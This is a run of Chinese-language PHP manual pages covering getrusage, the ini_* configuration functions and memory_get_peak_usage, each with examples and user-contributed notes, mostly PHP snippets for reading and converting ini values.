返回了一个包含系统返回数据的关联数组。所以条目均可通过文档中字段的名称来访问。失败时返回 false。

更新日志

版本 | 说明
7.0.0 | 此函数现在开始支持 Windows。

示例

Example #1 getrusage() 示例

<?php
$dat = getrusage();
echo $dat["ru_oublock"]; // 块输出操作数
echo $dat["ru_inblock"]; // 块输入操作数
echo $dat["ru_msgsnd"]; // 发送的 IPC 消息数
echo $dat["ru_msgrcv"]; // 接收的 IPC 消息数
echo $dat["ru_maxrss"]; // maximum resident set size
echo $dat["ru_ixrss"]; // 整数类型的共享内存大小
echo $dat["ru_idrss"]; // 整数类型的非共享内存大小
echo $dat["ru_minflt"]; // 页面回收次数（软分页错误）
echo $dat["ru_majflt"]; // 页面错误次数（硬分页错误）
echo $dat["ru_nsignals"]; // 接收到的信号数
echo $dat["ru_nvcsw"]; // number of voluntary context switches
echo $dat["ru_nivcsw"]; // number of involuntary context switches
echo $dat["ru_nswap"]; // 交换次数
echo $dat["ru_utime.tv_usec"]; // 用户使用时间（微秒）
echo $dat["ru_utime.tv_sec"]; // 用户使用时间（秒）
echo $dat["ru_stime.tv_usec"]; // 系统使用时间（微秒）
echo $dat["ru_stime.tv_sec"]; // 系统使用时间（秒）
?>

注释

Note:

在 Windows 上 getrusage() 仅会返回以下类型：

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"
  • "ru_majflt"（仅当 mode 是 RUSAGE_SELF）
  • "ru_maxrss"（仅当 mode 是 RUSAGE_SELF）

如果使用设置 mode 为 1（RUSAGE_CHILDREN）的情况下调用 getrusage()，则会收集线程的资源使用情况（意味着在内部使用 RUSAGE_THREAD 调用此函数）。

Note:

在 BeOS 2000，仅会返回以下类型：

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"

参见

  • 系统上 getrusage(2) 的 man 页面

User Contributed Notes

Anonymous 19-Jun-2018 03:07
BeOS support is removed in PHP 7.3:
https://github.com/php/php-src/blob/php-7.3.0alpha1/NEWS
jlh at gmx dot ch 11-Jan-2017 04:09
Note that this function returns rusage of the current process. In a web environment where you have long running apache processes that serve several requests with PHP executions, this will return cumulative timings and is therefore not suitable for telling how much user time your used. The best you could do is to call getrusage() once at the beginning and once at the end and calculate the difference.
Domas Mituzas 14-Jan-2008 01:22
getrusage() reports kernel counters that are updated only once application loses context and a switch to kernel space happens. For example on modern Linux server kernels that would mean that getrusage() calls would return information rounded at 10ms, desktop kernels - at 1ms.

getrusage() isn't usable for micro-measurements at all - and getmicrotime(true) might be much more valuable resource.


别名 ini_set

  • ? getrusage
  • ini_get_all ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 别名 ini_set

ini_alter

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_alter — 别名 ini_set()

说明

此函数是该函数的别名： ini_set().

User Contributed Notes

There are no user contributed notes for this page.


获取所有配置选项

  • ? ini_alter
  • ini_get ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取所有配置选项

ini_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ini_get_all — 获取所有配置选项

说明

ini_get_all(?string $extension = null, bool $details = true): array|false

获取所有已注册的配置选项

参数

extension

可选的扩展名称。如果不是 null 或字符串 core，此函数仅仅返回指定扩展的选项。

details

获取详细设置或者仅仅是每个设置的当前值。 默认是 true（获取详细信息）。

返回值

返回一个关联数组，指令名称是数组的键。 如果 extension 不存在，返回 false 并产生 E_WARNING 级错误。

当 details 为 true（默认），数组会包含 global_value（php.ini 中的设置）、local_value（可能是 ini_set() 或 .htaccess 中的设置） 以及 access（访问级别）。

当 details 为 false，这个值会是选项的当前值。

参见手册章节中访问级别含义的信息。

Note:

指令可以有多个访问级别，这也是为什么 access 会显示适当的位掩码。

示例

Example #1 ini_get_all() 示例

<?php
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
?>

以上示例的输出类似于：

Array
(
    [pcre.backtrack_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

    [pcre.recursion_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

)
Array
(
    [allow_call_time_pass_reference] => Array
        (
            [global_value] => 0
            [local_value] => 0
            [access] => 6
        )

    [allow_url_fopen] => Array
        (
            [global_value] => 1
            [local_value] => 1
            [access] => 4
        )

    ...

)

Example #2 禁用 details

<?php
print_r(ini_get_all("pcre", false)); // Added in PHP 5.3.0
print_r(ini_get_all(null, false)); // Added in PHP 5.3.0
?>

以上示例的输出类似于：

Array
(
    [pcre.backtrack_limit] => 100000
    [pcre.recursion_limit] => 100000
)
Array
(
    [allow_call_time_pass_reference] => 0
    [allow_url_fopen] => 1
    ...
)

注释

Note:

ini_get_all() 忽略 "array" 的 ini 选项，例如 pdo.dsn.*。

参见

  • 怎样修改配置设定
  • ini_get() - 获取一个配置选项的值
  • ini_restore() - 恢复配置选项的值
  • ini_set() - 为一个配置选项设置值
  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • phpinfo() - 输出关于 PHP 配置的信息
  • ReflectionExtension::getINIEntries() - 获取 ini 配置

User Contributed Notes

Julien MOREAU aka PixEye 14-Dec-2018 03:19
If you want to load and parse your own ini file, have a look at parse_ini_file() function. Example:

<?php
// ...
$my_data = parse_ini_file($my_file, true);
pmdumuid at gmail dot com 21-Mar-2016 11:09
echo recreate_php_ini();

/**
  * Sample function to re-create a php ini config file.
  *
  * @return string
  */
function recreate_php_ini() {
    $a = ini_get_all();

    $data = [];
    foreach (array_keys($a) as $k) {
        $ss = split("\.", $k);
        if (count($ss) == 1) {
            $sec = "PHP";
            $v = $k;
        } else {
            $sec = $ss[0];
            $v = $ss[1];
        }
        $data[$sec][$v] = $a[$k]['global_value'];
    }
    ksort($data);
    $out = "";
    foreach ($data as $sec => $data) {
        $out .= "[$sec]\n";
        ksort($data);
        foreach ($data as $k => $v) {
            if (is_numeric($v)) {
                $out .= sprintf("%-40s = %s\n", $k, $v);
            } else {
                $out .= sprintf("%-40s = \"%s\"\n", $k, $v);
            }
        }
        $out .= "\n";
    }
    return $out;
}
peter at peteraba dot com 07-Dec-2015 11:13
You can use the following snippet on servers to grab the live/staging configs in order to be able to replicate those in your development environment. (I use `php -a` for this)
 <?php
foreach (ini_get_all(null, false) as $key => $value) echo "$key=$value;\n";
?>
root at mantoru dot de 21-Jan-2008 01:33
Since a certain PHP version (I think it's 5.2.5) it is no longer possible to override INI entrys set with php_admin_* in httpd.conf. The access level will be set to 4 (PHP_INI_SYSTEM), which is also returned by this function.

The constants mentioned below are available in PHP, but without the prefix (e.g. INI_USER, INI_PERDIR).
justd@ntmailme 20-Dec-2002 08:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant           Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL       7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.


获取一个配置选项的值

  • ? ini_get_all
  • ini_parse_quantity ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取一个配置选项的值

ini_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_get — 获取一个配置选项的值

说明

ini_get(string $option): string|false

成功时返回配置选项的值。

参数

option

配置选项名称。

返回值

成功是返回配置选项值的字符串，null 的值则返回空字符串。如果配置选项不存在，将会返回 false。

示例

Example #1 一些 ini_get() 示例

<?php
/*
我们的 php.ini 包含了以下的设置：

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
$val = trim($val);
$last = strtolower($val[strlen($val)-1]);
switch($last) {
// 可以使用修饰符 'G'
case 'g':
$val *= 1024;
case 'm':
$val *= 1024;
case 'k':
$val *= 1024;
}

return $val;
}

?>

以上示例的输出类似于：

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

注释

Note: 当查询一个 boolean 值

一个 off 的 boolean ini 值将会以空字符串或者 "0" 返回；on 的 ini 值会以 "1" 返回。 此函数也会返回 INI 值的文字字符串。

Note: 当查询一个内存尺寸的值

许多内存尺寸的 ini 值，类似 upload_max_filesize 是以简写表示法储存在 php.ini 文件里。 ini_get() 会返回 php.ini 文件中储存的确切字符串，而不是它的等量 int。 尝试对这些值使用常规算术运算函数将不会得到预期的结果。 以上示例显示了转换简写表示法为字节的一种方式，和 PHP 源码所做的比较像。

Note:

ini_get() 无法读取 "array" 的 ini 选项，例如 pdo.dsn.*，在这个示例中会返回 false 。

参见

  • get_cfg_var() - 获取 PHP 配置选项的值
  • ini_get_all() - 获取所有配置选项
  • ini_restore() - 恢复配置选项的值
  • ini_set() - 为一个配置选项设置值

User Contributed Notes

Joe Huss detain at interserver dot net 16-Jan-2022 10:44
Here is a version combining a few of the examples here that does *not* require php8 nor does it generate a warning

/**
* gets the value in bytes converted from a human readable string like 10G'
*
* @param mixed $val the human readable/shorthand version of the value
* @return int the value converted to bytes
*/
function return_bytes($val) {
    $val = trim($val);
    preg_match('/([0-9]+)[\s]*([a-zA-Z]+)/', $val, $matches);
    $value = (isset($matches[1])) ? intval($matches[1]) : 0;
    $metric = (isset($matches[2])) ? strtolower($matches[2]) : 'b';
    switch ($metric) {
        case 'tb':
        case 't':
            $value *= 1024;
        case 'gb':
        case 'g':
            $value *= 1024;
        case 'mb':
        case 'm':
            $value *= 1024;
        case 'kb':
        case 'k':
            $value *= 1024;
    }
    return $value;
}
devsrealmGuy 11-Aug-2021 02:40
Here is another way to get the result in bytes using PHP8

<?php

    /**
     * @param string $size
     * @return int
     * @author DevsrealmGuy
     */
    public function getBytes(string $size): int
    {
        $size = trim($size);

        #
        # Separate the value from the metric(i.e MB, GB, KB)
        #
        preg_match('/([0-9]+)[\s]*([a-zA-Z]+)/', $size, $matches);

        $value = (isset($matches[1])) ? $matches[1] : 0;
        $metric = (isset($matches[2])) ? strtolower($matches[2]) : 'b';

        #
        # Result of $value multiplied by the matched case
        # Note: (1024 ** 2) is same as (1024 * 1024) or pow(1024, 2)
        #
        $value *= match ($metric) {
            'k', 'kb' => 1024,
            'm', 'mb' => (1024 ** 2),
            'g', 'gb' => (1024 ** 3),
            't', 'tb' =>  (1024 ** 4),
            default => 0
        };

        return (int)$value;
    }

        #
        # TEST: This default to 0 if it doesn't conform with the match standard
        #
        echo getBytes('2GB') . "</br>";
        # OUTPUT: 2147483648
        echo getBytes('4tb') . "</br>";
        # OUTPUT: 4398046511104
        echo getBytes('5345etrgrfd') . "</br>";
        # OUTPUT: 0
        echo getBytes('357568336586') . "</br>";
        # OUTPUT: 0
?>
IceNV 05-Jun-2017 08:53
Be aware that max_execution_time can be altered by XDebug.

While debugging a script locally that made use of <?php ini_get('max_execution_time'); ?> it returned 0 when XDebug remote debugging was enabled and the IDE was listening to it.

It makes sense, since debugging manually takes time so we don't want the script to time out ; but in that particular case, it made it look to the script like max_execution_time was 0, so calculations were wrong.

You can see in phpinfo() that local value is 0 in that case, but master value is the correct one you set in your php.ini.
bishop at php dot net 02-Sep-2015 07:52
In a similar vein, converting flags to booleans proper:

<?php
function return_boolean($val)
{
    static $map = array ('on' => true, 'true' => true, 'off' => false, 'false' => false);
    return @($map[strtolower($val)] ?: (bool)$val);
}
?>

If you're using PHP >= 7, consider replacing ?: with ?? and removing the @ silencer.
bishop@php 02-Sep-2015 07:37
Yet another implementation of return_bytes:

<?php
function return_bytes($val)
{
    assert('1 === preg_match("/^\d+([kmg])?$/i", $val)');
    static $map = array ('k' => 1024, 'm' => 1048576, 'g' => 1073741824);
    return (int)$val * @($map[strtolower(substr($val, -1))] ?: 1);
}
?>

If you're using PHP >= 7, you might replace ?: with ?? to avoid the use of the @ silencer.
Ivo Mandalski 15-Nov-2011 08:27
This version of return_bytes takes care of the MB, GB, KB cases along with the M,G,K ones.
Hope this is helpful!

<?php
    public static function return_bytes ($val)
    {
        if(empty($val))return 0;

        $val = trim($val);

        preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

        $last = '';
        if(isset($matches[2])){
            $last = $matches[2];
        }

        if(isset($matches[1])){
            $val = (int) $matches[1];
        }

        switch (strtolower($last))
        {
            case 'g':
            case 'gb':
                $val *= 1024;
            case 'm':
            case 'mb':
                $val *= 1024;
            case 'k':
            case 'kb':
                $val *= 1024;
        }

        return (int) $val;
    }
?>
Stas Trefilov, OpteamIS 26-Mar-2010 10:08
another version of return_bytes which returns faster and does not use multiple multiplications (sorry:). even if it is resolved at compile time it is not a good practice;
no local variables are allocated;
the trim() is omitted (php already trimmed values when reading php.ini file);
strtolower() is replaced by second case which wins us one more function call for the price of doubling the number of cases to process (may slower the worst-case scenario when ariving to default: takes six comparisons instead of three comparisons and a function call);
cases are ordered by most frequent goes first (uppercase M-values being the default sizes);
specs say we must handle integer sizes so float values are converted to integers and 0.8G becomes 0;
'Gb', 'Mb', 'Kb' shorthand byte options are not implemented since are not in specs, see
http://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes

<?php
function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}
?>
nicolas dot grekas+php at gmail dot com 19-Aug-2009 10:51
Here is how to accurately test for boolean php.ini values:

<?php

function ini_get_bool($a)
{
    $b = ini_get($a);

    switch (strtolower($b))
    {
    case 'on':
    case 'yes':
    case 'true':
        return 'assert.active' !== $a;

    case 'stdout':
    case 'stderr':
        return 'display_errors' === $a;

    default:
        return (bool) (int) $b;
    }
}

?>
peter 29-Jul-2008 02:25
The above example function called return_bytes() assumes that ini_get('upload_max_filesize') delivers only one letter at the end. As I've seen 'Mb' and things like that, I'd suggest to change the $last = ... part into $last = strtolower(substr($val,strlen($val/1),1)).
I'd call it $unit then.
filh at filh dot org 21-Nov-2005 06:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
david dot tulloh at infaze dot com dot au 21-Jun-2005 07:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph 16-Aug-2004 11:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.


Get interpreted size from ini shorthand syntax

  • ? ini_get
  • ini_restore ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Get interpreted size from ini shorthand syntax

ini_parse_quantity

(PHP 8 >= 8.2.0)

ini_parse_quantity — Get interpreted size from ini shorthand syntax

说明

ini_parse_quantity(string $shorthand): int

Returns the interpreted size in bytes on success from an ini shorthand.

参数

shorthand

Ini shorthand to parse, must be a number followed by an optional multiplier. The following multipliers are supported: k/K (1024), m/M (1048576), g/G (1073741824). The number can be a decimal, hex (prefixed with 0x or 0X), octal (prefixed with 0o, 0O or 0) or binary (prefixed with 0b or 0B)

返回值

Returns the interpreted size in bytes as an int.

错误／异常

If the value cannot be parsed, or an invalid multiplier is used, an E_WARNING is raised.

示例

Example #1 A few ini_parse_quantity() examples

<?php

var_dump(ini_parse_quantity('1024'));
var_dump(ini_parse_quantity('1024M'));
var_dump(ini_parse_quantity('512K'));
var_dump(ini_parse_quantity('0xFFk'));
var_dump(ini_parse_quantity('0b1010k'));
var_dump(ini_parse_quantity('0o1024'));
var_dump(ini_parse_quantity('01024'));
var_dump(ini_parse_quantity('Foobar'));
var_dump(ini_parse_quantity('10F'));

?>

以上示例的输出类似于：

int(1024)
int(1073741824)
int(524288)
int(261120)
int(10240)
int(532)
int(532)

Warning: Invalid quantity "Foobar": no valid leading digits, interpreting as "0" for backwards compatibility
int(0)

Warning: Invalid quantity "10F": unknown multiplier "F", interpreting as "10" for backwards compatibility
int(10)

参见

  • ini_get() - 获取一个配置选项的值

User Contributed Notes

There are no user contributed notes for this page.


恢复配置选项的值

  • ? ini_parse_quantity
  • ini_set ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 恢复配置选项的值

ini_restore

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_restore — 恢复配置选项的值

说明

ini_restore(string $option): void

恢复指定的配置选项到它的原始值。

参数

option

配置选项名称。

返回值

没有返回值。

示例

Example #1 ini_restore() 示例

<?php
$setting = 'html_errors';

echo 'Current value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_set($setting, ini_get($setting) ? 0 : 1);
echo 'New value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_restore($setting);
echo 'Original value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;
?>

以上示例会输出：

Current value for 'html_errors': 1
New value for 'html_errors': 0
Original value for 'html_errors': 1

参见

  • ini_get() - 获取一个配置选项的值
  • ini_get_all() - 获取所有配置选项
  • ini_set() - 为一个配置选项设置值

User Contributed Notes

Anonymous 11-Jan-2016 02:08
If like me you thought ini_restore() would restore to the most recent setting rather than the startup value, you could use this.

<?php

/**
 * Executes a function using a custom PHP configuration.
 *
 * @param array $settings A map<ini setting name, ini setting value>.
 * @param callable $doThis The code to execute using the given settings.
 * @return mixed Returns the value returned by the given callable.
 */
function ini_using_do(array $settings, callable $doThis){
    foreach($settings as $name => $value){
        $previousSettings[$name] = ini_set($name, $value);
    }
    $returnValue = $doThis();
    if(isset($previousSettings)){
        foreach($previousSettings as $name => $value){
            ini_set($name, $value);
        }
    }
    return $returnValue;
}

?>


为一个配置选项设置值

  • ? ini_restore
  • memory_get_peak_usage ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 为一个配置选项设置值

ini_set

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_set — 为一个配置选项设置值

说明

ini_set(string $option, string|int|float|bool|null $value): string|false

设置指定配置选项的值。这个选项会在脚本运行时保持新的值，并在脚本结束时恢复。

参数

option

不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录。

value

选项新的值。

返回值

成功时返回旧的值，失败时返回 false。

更新日志

版本 | 说明
8.1.0 | value 现在接受任何标量类型（包含 null），之前仅接受 string 值。

示例

Example #1 设置一个 ini 选项

<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
ini_set('display_errors', '1');
}

echo ini_get('display_errors');
?>

参见

  • get_cfg_var() - 获取 PHP 配置选项的值
  • ini_get() - 获取一个配置选项的值
  • ini_get_all() - 获取所有配置选项
  • ini_restore() - 恢复配置选项的值
  • 如何改变配置选项

User Contributed Notes

Julien MOREAU aka PixEye 14-Jan-2022 10:48
In order to change zend.assertions or assert.exception values, try with the ini_set() function but be aware that it may fail.

Example:
<?php
$ret = @ini_set('zend.assertions', '1');
if ($ret === false) echo 'ini_set() failed before line ', __LINE__, PHP_EOL;
ASchmidt at Anamera dot net 27-Jul-2017 11:29
When checking for the success of ini_set(), keep in mind that it will return the OLD value upon success - which may have been "0". Therefore you cannot just compare the return value - you have to check for "identity":

<?php

// This will NOT determine the success of ini_set(), instead
// it only tests if the old value had been equivalent to false
if ( !ini_set( 'display_errors', '1' ) )
    throw new \Exception( 'Unable to set display_errors.' );

// This is the CORRECT way to determine success
if ( ini_set( 'display_errors', '1' ) === false )
    throw new \Exception( 'Unable to set display_errors.' );

?>

This explains reported situations where ini_set() "always" seems to fail!
Gev 17-Jul-2017 06:57
ini_set('display_errors', 1);
error_reporting(E_ALL);
Er.ellison 13-Nov-2015 07:44
if u receive  an Error with generic like  :
Maximum execution time of 30 seconds exceeded

if u set ini_set(max_execution_time, 300);
your problem will be solved
pls note that the 300 , is 300 seconds , which means 5 minute  you can set another value !
w3dk 06-May-2015 05:21
Whilst most boolean settings can be disabled by passing '0', 'Off' or `No' (in fact anything that is not '1', 'On' or 'Yes' - not case-sentive) to ini_set(), it should be noted that ini_get() returns the literal string as set. So if you later want to check this setting by calling ini_get() and it's been set to 'Off' (a non-empty string that evaluates to True), then you'll have to specifically check for this in a (case-insensitive) string comparison, rather than the simpler:

if (ini_get('config_setting')) { /* ... */ }

So, if you need to disable boolean settings I think it's preferable to set them to '0' (which simply evaluates to False).
nl-x 17-Sep-2014 11:32
I have experienced on some systems that ini_set() will fail and return a false, when trying to set a setting that was set inside php.ini inside a per-host setting. Beware of this.
anonymous 10-Aug-2014 04:30
Note that this function only works with PHP_INI_ALL options!
williamprogphp at yahoo dot com dot br 10-Jan-2014 12:20
I figured out why php dont output errors such as an expected ';' on code and output a 500 error. Some server are configured to omit php errors on pages using the directive display_errors=Off;

In most cases, the server will output a 500 Internal Server Error instead of php error because of it.

To prevent this default you must set this directive directly in the php.ini file and the server will show you the php error properly. Setting ini_set('display_errors', true) on-the-fly wont work.
Nathan 08-Nov-2011 08:56
Careful - in some cases, when setting zlib.output_compression to "On" via ini_set, PHP won't send the Content-type header and browsers will garble the output. Set it to the desired buffer size instead, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
MadJoker 12-Aug-2009 01:46
If you use gz_handler you might want to switch over to
zlib.output_compression

This can be controlled via the ini_set control.

<?php ini_set('zlib.output_compression', 'Off'); ?>

or

<?php ini_set('zlib.output_compression', 'On'); ?>
daevid at daevid dot com 30-Oct-2006 05:19
Be careful with setting an output_handler, as you can't use ini_set() to change it. *sigh*

In my php.ini I have this for my web pages (and I want it):

  output_handler = ob_gzhandler

But this causes my command line scripts to not show output until the very end.

#!/usr/bin/php -q
<?php
ini_set('output_handler', 'mb_output_handler');
echo "\noutput_handler => " . ini_get('output_handler') . "\n";
?>

root@# ./myscript.php
output_handler => ob_gzhandler

Apparently (acording to Richard Lynch):

> TOO LATE!
> The ob_start() has already kicked in by this point.
> ob_flush() until there are no more buffers.
RebootConcepts.com 31-Mar-2006 01:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig 10-Jan-2006 11:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>
brainiac5 dot php at aimail dot de 05-Sep-2004 07:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at 05-Sep-2004 06:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net 13-Aug-2004 06:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
davey at its-explosive dot net 17-Mar-2003 06:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de 29-Sep-2002 08:26
If it's not your server and therefore you want to hide the data in your session variables from other users, it?s very useful to set the session.save_handler in your scripts to shared memory with:

<?php ini_set('session.save_handler','mm'); ?>

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php won't find them.
Tr909 at com dot nospam dot bigfoot 12-Jun-2002 10:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com 13-Mar-2002 06:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:

<?php
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
?>


返回分配给 PHP 内存的峰值

  • ? ini_set
  • memory_get_usage ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回分配给 PHP 内存的峰值

memory_get_peak_usage

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

memory_get_peak_usage — 返回分配给 PHP 内存的峰值

说明

memory_get_peak_usage(bool $real_usage = false): int

返回分配给你的 PHP 脚本的内存峰值字节数。

参数

real_usage

如果设置为 true 可以获取从系统分配到的真实内存尺寸。 如果未设置，或者设置为 false，仅会报告 emalloc() 使用的内存。

返回值

返回内存峰值的字节数。

参见

  • memory_get_usage() - 返回分配给 PHP 的内存量
  • memory_reset_peak_usage() - Reset the peak memory usage
  • memory_limit

User Contributed Notes

stanislav dot eckert at vizson dot de 18-Feb-2017 03:14
memory_get_peak_usage() is used to retrieve the highest memory usage of PHP (or your running script) only. If you need the overall memory usage of the entire system, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673

